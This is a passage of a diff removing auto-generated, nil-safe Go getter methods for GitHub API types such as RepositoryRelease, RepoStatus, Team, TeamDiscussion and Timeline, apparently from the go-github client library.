CommitMessage field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetCommitMessage() string { - if r == nil || r.CommitMessage == nil { - return "" - } - return *r.CommitMessage -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetHead() string { - if r == nil || r.Head == nil { - return "" - } - return *r.Head -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (r *RepositoryPermissionLevel) GetPermission() string { - if r == nil || r.Permission == nil { - return "" - } - return *r.Permission -} - -// GetUser returns the User field. -func (r *RepositoryPermissionLevel) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetAssetsURL returns the AssetsURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetAssetsURL() string { - if r == nil || r.AssetsURL == nil { - return "" - } - return *r.AssetsURL -} - -// GetAuthor returns the Author field. -func (r *RepositoryRelease) GetAuthor() *User { - if r == nil { - return nil - } - return r.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetBody() string { - if r == nil || r.Body == nil { - return "" - } - return *r.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetDraft() bool { - if r == nil || r.Draft == nil { - return false - } - return *r.Draft -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetPrerelease returns the Prerelease field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetPrerelease() bool { - if r == nil || r.Prerelease == nil { - return false - } - return *r.Prerelease -} - -// GetPublishedAt returns the PublishedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetPublishedAt() Timestamp { - if r == nil || r.PublishedAt == nil { - return Timestamp{} - } - return *r.PublishedAt -} - -// GetTagName returns the TagName field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTagName() string { - if r == nil || r.TagName == nil { - return "" - } - return *r.TagName -} - -// GetTarballURL returns the TarballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTarballURL() string { - if r == nil || r.TarballURL == nil { - return "" - } - return *r.TarballURL -} - -// GetTargetCommitish returns the TargetCommitish field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetTargetCommitish() string { - if r == nil || r.TargetCommitish == nil { - return "" - } - return *r.TargetCommitish -} - -// GetUploadURL returns the UploadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetUploadURL() string { - if r == nil || r.UploadURL == nil { - return "" - } - return *r.UploadURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetZipballURL returns the ZipballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryRelease) GetZipballURL() string { - if r == nil || r.ZipballURL == nil { - return "" - } - return *r.ZipballURL -} - -// GetCommit returns the Commit field. -func (r *RepositoryTag) GetCommit() *Commit { - if r == nil { - return nil - } - return r.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetTarballURL returns the TarballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetTarballURL() string { - if r == nil || r.TarballURL == nil { - return "" - } - return *r.TarballURL -} - -// GetZipballURL returns the ZipballURL field if it's non-nil, zero value otherwise. -func (r *RepositoryTag) GetZipballURL() string { - if r == nil || r.ZipballURL == nil { - return "" - } - return *r.ZipballURL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryVulnerabilityAlertEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetForkRepos returns the ForkRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetForkRepos() int { - if r == nil || r.ForkRepos == nil { - return 0 - } - return *r.ForkRepos -} - -// GetOrgRepos returns the OrgRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetOrgRepos() int { - if r == nil || r.OrgRepos == nil { - return 0 - } - return *r.OrgRepos -} - -// GetRootRepos returns the RootRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetRootRepos() int { - if r == nil || r.RootRepos == nil { - return 0 - } - return *r.RootRepos -} - -// GetTotalPushes returns the TotalPushes field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalPushes() int { - if r == nil || r.TotalPushes == nil { - return 0 - } - return *r.TotalPushes -} - -// GetTotalRepos returns the TotalRepos field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalRepos() int { - if r == nil || r.TotalRepos == nil { - return 0 - } - return *r.TotalRepos -} - -// GetTotalWikis returns the TotalWikis field if it's non-nil, zero value otherwise. -func (r *RepoStats) GetTotalWikis() int { - if r == nil || r.TotalWikis == nil { - return 0 - } - return *r.TotalWikis -} - -// GetContext returns the Context field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetContext() string { - if r == nil || r.Context == nil { - return "" - } - return *r.Context -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetCreatedAt() time.Time { - if r == nil || r.CreatedAt == nil { - return time.Time{} - } - return *r.CreatedAt -} - -// GetCreator returns the Creator field. -func (r *RepoStatus) GetCreator() *User { - if r == nil { - return nil - } - return r.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetDescription() string { - if r == nil || r.Description == nil { - return "" - } - return *r.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetState() string { - if r == nil || r.State == nil { - return "" - } - return *r.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetTargetURL() string { - if r == nil || r.TargetURL == nil { - return "" - } - return *r.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetUpdatedAt() time.Time { - if r == nil || r.UpdatedAt == nil { - return time.Time{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepoStatus) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetStrict returns the Strict field if it's non-nil, zero value otherwise. -func (r *RequiredStatusChecksRequest) GetStrict() bool { - if r == nil || r.Strict == nil { - return false - } - return *r.Strict -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *ReviewersRequest) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *Runner) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *Runner) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetOS returns the OS field if it's non-nil, zero value otherwise. -func (r *Runner) GetOS() string { - if r == nil || r.OS == nil { - return "" - } - return *r.OS -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (r *Runner) GetStatus() string { - if r == nil || r.Status == nil { - return "" - } - return *r.Status -} - -// GetArchitecture returns the Architecture field if it's non-nil, zero value otherwise. -func (r *RunnerApplicationDownload) GetArchitecture() string { - if r == nil || r.Architecture == nil { - return "" - } - return *r.Architecture -} - -// GetDownloadURL returns the DownloadURL field if it's non-nil, zero value otherwise. -func (r *RunnerApplicationDownload) GetDownloadURL() string { - if r == nil || r.DownloadURL == nil { - return "" - } - return *r.DownloadURL -} - -// GetFilename returns the Filename field if it's non-nil, zero value otherwise. -func (r *RunnerApplicationDownload) GetFilename() string { - if r == nil || r.Filename == nil { - return "" - } - return *r.Filename -} - -// GetOS returns the OS field if it's non-nil, zero value otherwise. -func (r *RunnerApplicationDownload) GetOS() string { - if r == nil || r.OS == nil { - return "" - } - return *r.OS -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *ServiceHook) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetEnabled returns the Enabled field if it's non-nil, zero value otherwise. -func (s *SignaturesProtectedBranch) GetEnabled() bool { - if s == nil || s.Enabled == nil { - return false - } - return *s.Enabled -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *SignaturesProtectedBranch) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetPayload returns the Payload field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetPayload() string { - if s == nil || s.Payload == nil { - return "" - } - return *s.Payload -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetReason() string { - if s == nil || s.Reason == nil { - return "" - } - return *s.Reason -} - -// GetSignature returns the Signature field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetSignature() string { - if s == nil || s.Signature == nil { - return "" - } - return *s.Signature -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (s *SignatureVerification) GetVerified() bool { - if s == nil || s.Verified == nil { - return false - } - return *s.Verified -} - -// GetActor returns the Actor field. -func (s *Source) GetActor() *User { - if s == nil { - return nil - } - return s.Actor -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *Source) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetIssue returns the Issue field. -func (s *Source) GetIssue() *Issue { - if s == nil { - return nil - } - return s.Issue -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (s *Source) GetType() string { - if s == nil || s.Type == nil { - return "" - } - return *s.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *Source) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetEmail() string { - if s == nil || s.Email == nil { - return "" - } - return *s.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetImportURL returns the ImportURL field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetImportURL() string { - if s == nil || s.ImportURL == nil { - return "" - } - return *s.ImportURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetRemoteID returns the RemoteID field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetRemoteID() string { - if s == nil || s.RemoteID == nil { - return "" - } - return *s.RemoteID -} - -// GetRemoteName returns the RemoteName field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetRemoteName() string { - if s == nil || s.RemoteName == nil { - return "" - } - return *s.RemoteName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *SourceImportAuthor) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (s *StarEvent) GetAction() string { - if s == nil || s.Action == nil { - return "" - } - return *s.Action -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *StarEvent) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *Stargazer) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetUser returns the User field. -func (s *Stargazer) GetUser() *User { - if s == nil { - return nil - } - return s.User -} - -// GetRepository returns the Repository field. -func (s *StarredRepository) GetRepository() *Repository { - if s == nil { - return nil - } - return s.Repository -} - -// GetStarredAt returns the StarredAt field if it's non-nil, zero value otherwise. -func (s *StarredRepository) GetStarredAt() Timestamp { - if s == nil || s.StarredAt == nil { - return Timestamp{} - } - return *s.StarredAt -} - -// GetCommit returns the Commit field. -func (s *StatusEvent) GetCommit() *RepositoryCommit { - if s == nil { - return nil - } - return s.Commit -} - -// GetContext returns the Context field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetContext() string { - if s == nil || s.Context == nil { - return "" - } - return *s.Context -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetCreatedAt() Timestamp { - if s == nil || s.CreatedAt == nil { - return Timestamp{} - } - return *s.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetDescription() string { - if s == nil || s.Description == nil { - return "" - } - return *s.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetID() int64 { - if s == nil || s.ID == nil { - return 0 - } - return *s.ID -} - -// GetInstallation returns the Installation field. -func (s *StatusEvent) GetInstallation() *Installation { - if s == nil { - return nil - } - return s.Installation -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetName() string { - if s == nil || s.Name == nil { - return "" - } - return *s.Name -} - -// GetRepo returns the Repo field. -func (s *StatusEvent) GetRepo() *Repository { - if s == nil { - return nil - } - return s.Repo -} - -// GetSender returns the Sender field. -func (s *StatusEvent) GetSender() *User { - if s == nil { - return nil - } - return s.Sender -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetSHA() string { - if s == nil || s.SHA == nil { - return "" - } - return *s.SHA -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetState() string { - if s == nil || s.State == nil { - return "" - } - return *s.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetTargetURL() string { - if s == nil || s.TargetURL == nil { - return "" - } - return *s.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (s *StatusEvent) GetUpdatedAt() Timestamp { - if s == nil || s.UpdatedAt == nil { - return Timestamp{} - } - return *s.UpdatedAt -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (s *Subscription) GetCreatedAt() Timestamp { - if s == nil || s.CreatedAt == nil { - return Timestamp{} - } - return *s.CreatedAt -} - -// GetIgnored returns the Ignored field if it's non-nil, zero value otherwise. -func (s *Subscription) GetIgnored() bool { - if s == nil || s.Ignored == nil { - return false - } - return *s.Ignored -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (s *Subscription) GetReason() string { - if s == nil || s.Reason == nil { - return "" - } - return *s.Reason -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetRepositoryURL() string { - if s == nil || s.RepositoryURL == nil { - return "" - } - return *s.RepositoryURL -} - -// GetSubscribed returns the Subscribed field if it's non-nil, zero value otherwise. -func (s *Subscription) GetSubscribed() bool { - if s == nil || s.Subscribed == nil { - return false - } - return *s.Subscribed -} - -// GetThreadURL returns the ThreadURL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetThreadURL() string { - if s == nil || s.ThreadURL == nil { - return "" - } - return *s.ThreadURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (s *Subscription) GetURL() string { - if s == nil || s.URL == nil { - return "" - } - return *s.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (t *Tag) GetMessage() string { - if t == nil || t.Message == nil { - return "" - } - return *t.Message -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *Tag) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetObject returns the Object field. -func (t *Tag) GetObject() *GitObject { - if t == nil { - return nil - } - return t.Object -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *Tag) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetTag returns the Tag field if it's non-nil, zero value otherwise. -func (t *Tag) GetTag() string { - if t == nil || t.Tag == nil { - return "" - } - return *t.Tag -} - -// GetTagger returns the Tagger field. -func (t *Tag) GetTagger() *CommitAuthor { - if t == nil { - return nil - } - return t.Tagger -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Tag) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetVerification returns the Verification field. -func (t *Tag) GetVerification() *SignatureVerification { - if t == nil { - return nil - } - return t.Verification -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetCompletedAt() Timestamp { - if t == nil || t.CompletedAt == nil { - return Timestamp{} - } - return *t.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetConclusion() string { - if t == nil || t.Conclusion == nil { - return "" - } - return *t.Conclusion -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetNumber() int64 { - if t == nil || t.Number == nil { - return 0 - } - return *t.Number -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetStartedAt() Timestamp { - if t == nil || t.StartedAt == nil { - return Timestamp{} - } - return *t.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (t *TaskStep) GetStatus() string { - if t == nil || t.Status == nil { - return "" - } - return *t.Status -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *Team) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Team) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (t *Team) GetLDAPDN() string { - if t == nil || t.LDAPDN == nil { - return "" - } - return *t.LDAPDN -} - -// GetMembersCount returns the MembersCount field if it's non-nil, zero value otherwise. -func (t *Team) GetMembersCount() int { - if t == nil || t.MembersCount == nil { - return 0 - } - return *t.MembersCount -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (t *Team) GetMembersURL() string { - if t == nil || t.MembersURL == nil { - return "" - } - return *t.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *Team) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *Team) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetOrganization returns the Organization field. -func (t *Team) GetOrganization() *Organization { - if t == nil { - return nil - } - return t.Organization -} - -// GetParent returns the Parent field. -func (t *Team) GetParent() *Team { - if t == nil { - return nil - } - return t.Parent -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *Team) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (t *Team) GetPrivacy() string { - if t == nil || t.Privacy == nil { - return "" - } - return *t.Privacy -} - -// GetReposCount returns the ReposCount field if it's non-nil, zero value otherwise. -func (t *Team) GetReposCount() int { - if t == nil || t.ReposCount == nil { - return 0 - } - return *t.ReposCount -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value otherwise. -func (t *Team) GetRepositoriesURL() string { - if t == nil || t.RepositoriesURL == nil { - return "" - } - return *t.RepositoriesURL -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (t *Team) GetSlug() string { - if t == nil || t.Slug == nil { - return "" - } - return *t.Slug -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Team) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetInstallation returns the Installation field. -func (t *TeamAddEvent) GetInstallation() *Installation { - if t == nil { - return nil - } - return t.Installation -} - -// GetOrg returns the Org field. -func (t *TeamAddEvent) GetOrg() *Organization { - if t == nil { - return nil - } - return t.Org -} - -// GetRepo returns the Repo field. -func (t *TeamAddEvent) GetRepo() *Repository { - if t == nil { - return nil - } - return t.Repo -} - -// GetSender returns the Sender field. -func (t *TeamAddEvent) GetSender() *User { - if t == nil { - return nil - } - return t.Sender -} - -// GetTeam returns the Team field. -func (t *TeamAddEvent) GetTeam() *Team { - if t == nil { - return nil - } - return t.Team -} - -// GetAuthor returns the Author field. -func (t *TeamDiscussion) GetAuthor() *User { - if t == nil { - return nil - } - return t.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBody() string { - if t == nil || t.Body == nil { - return "" - } - return *t.Body -} - -// GetBodyHTML returns the BodyHTML field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBodyHTML() string { - if t == nil || t.BodyHTML == nil { - return "" - } - return *t.BodyHTML -} - -// GetBodyVersion returns the BodyVersion field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetBodyVersion() string { - if t == nil || t.BodyVersion == nil { - return "" - } - return *t.BodyVersion -} - -// GetCommentsCount returns the CommentsCount field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCommentsCount() int { - if t == nil || t.CommentsCount == nil { - return 0 - } - return *t.CommentsCount -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCommentsURL() string { - if t == nil || t.CommentsURL == nil { - return "" - } - return *t.CommentsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetCreatedAt() Timestamp { - if t == nil || t.CreatedAt == nil { - return Timestamp{} - } - return *t.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetHTMLURL() string { - if t == nil || t.HTMLURL == nil { - return "" - } - return *t.HTMLURL -} - -// GetLastEditedAt returns the LastEditedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetLastEditedAt() Timestamp { - if t == nil || t.LastEditedAt == nil { - return Timestamp{} - } - return *t.LastEditedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetNodeID() string { - if t == nil || t.NodeID == nil { - return "" - } - return *t.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetNumber() int { - if t == nil || t.Number == nil { - return 0 - } - return *t.Number -} - -// GetPinned returns the Pinned field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetPinned() bool { - if t == nil || t.Pinned == nil { - return false - } - return *t.Pinned -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetPrivate() bool { - if t == nil || t.Private == nil { - return false - } - return *t.Private -} - -// GetReactions returns the Reactions field. -func (t *TeamDiscussion) GetReactions() *Reactions { - if t == nil { - return nil - } - return t.Reactions -} - -// GetTeamURL returns the TeamURL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetTeamURL() string { - if t == nil || t.TeamURL == nil { - return "" - } - return *t.TeamURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetTitle() string { - if t == nil || t.Title == nil { - return "" - } - return *t.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetUpdatedAt() Timestamp { - if t == nil || t.UpdatedAt == nil { - return Timestamp{} - } - return *t.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamDiscussion) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (t *TeamEvent) GetAction() string { - if t == nil || t.Action == nil { - return "" - } - return *t.Action -} - -// GetChanges returns the Changes field. -func (t *TeamEvent) GetChanges() *TeamChange { - if t == nil { - return nil - } - return t.Changes -} - -// GetInstallation returns the Installation field. -func (t *TeamEvent) GetInstallation() *Installation { - if t == nil { - return nil - } - return t.Installation -} - -// GetOrg returns the Org field. -func (t *TeamEvent) GetOrg() *Organization { - if t == nil { - return nil - } - return t.Org -} - -// GetRepo returns the Repo field. -func (t *TeamEvent) GetRepo() *Repository { - if t == nil { - return nil - } - return t.Repo -} - -// GetSender returns the Sender field. -func (t *TeamEvent) GetSender() *User { - if t == nil { - return nil - } - return t.Sender -} - -// GetTeam returns the Team field. -func (t *TeamEvent) GetTeam() *Team { - if t == nil { - return nil - } - return t.Team -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetLDAPDN() string { - if t == nil || t.LDAPDN == nil { - return "" - } - return *t.LDAPDN -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetMembersURL() string { - if t == nil || t.MembersURL == nil { - return "" - } - return *t.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetPrivacy() string { - if t == nil || t.Privacy == nil { - return "" - } - return *t.Privacy -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetRepositoriesURL() string { - if t == nil || t.RepositoriesURL == nil { - return "" - } - return *t.RepositoriesURL -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetSlug() string { - if t == nil || t.Slug == nil { - return "" - } - return *t.Slug -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamLDAPMapping) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (t *TeamProjectOptions) GetPermission() string { - if t == nil || t.Permission == nil { - return "" - } - return *t.Permission -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetOwner returns the Owner field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetOwner() string { - if t == nil || t.Owner == nil { - return "" - } - return *t.Owner -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (t *TemplateRepoRequest) GetPrivate() bool { - if t == nil || t.Private == nil { - return false - } - return *t.Private -} - -// GetFragment returns the Fragment field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetFragment() string { - if t == nil || t.Fragment == nil { - return "" - } - return *t.Fragment -} - -// GetObjectType returns the ObjectType field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetObjectType() string { - if t == nil || t.ObjectType == nil { - return "" - } - return *t.ObjectType -} - -// GetObjectURL returns the ObjectURL field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetObjectURL() string { - if t == nil || t.ObjectURL == nil { - return "" - } - return *t.ObjectURL -} - -// GetProperty returns the Property field if it's non-nil, zero value otherwise. -func (t *TextMatch) GetProperty() string { - if t == nil || t.Property == nil { - return "" - } - return *t.Property -} - -// GetActor returns the Actor field. -func (t *Timeline) GetActor() *User { - if t == nil { - return nil - } - return t.Actor -} - -// GetAssignee returns the Assignee field. -func (t *Timeline) GetAssignee() *User { - if t == nil { - return nil - } - return t.Assignee -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCommitID() string { - if t == nil || t.CommitID == nil { - return "" - } - return *t.CommitID -} - -// GetCommitURL returns the CommitURL field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCommitURL() string { - if t == nil || t.CommitURL == nil { - return "" - } - return *t.CommitURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *Timeline) GetCreatedAt() time.Time { - if t == nil || t.CreatedAt 